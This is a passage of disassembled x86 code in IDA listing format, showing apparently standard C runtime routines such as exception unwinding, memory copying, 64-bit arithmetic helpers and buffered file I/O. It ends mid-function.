; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41D568
push [ebp+arg_0]
call sub_426356
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D568 proc near ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D568 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE2C
jmp short loc_41D630
sub_41D61D endp
; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE2C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; ___:004260F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD39C
call sub_422EA8
mov edx, dword_4DD39C
pop ecx
mov ecx, dword_4DD398
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD39C
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD398
sub ecx, dword_4DD39C
mov dword_4DD39C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD398, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD398, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: ___:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD39C, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD39C
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD39C
mov dword_4DD398, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+14h]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: ___:0041DA9Ej
; ___:0041DAA3j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: ___:0041DAB2j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: ___:0041DACDj
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: ___:0041DAD4j
; ___:0041DAD8j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: ___:0041DA96j
; ___:0041DAA8j
mov dword_4DBDDC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: ___:0041DB05j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: ___:0041668Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call near ptr 2680E33h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
call near ptr 2680972h
nop
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
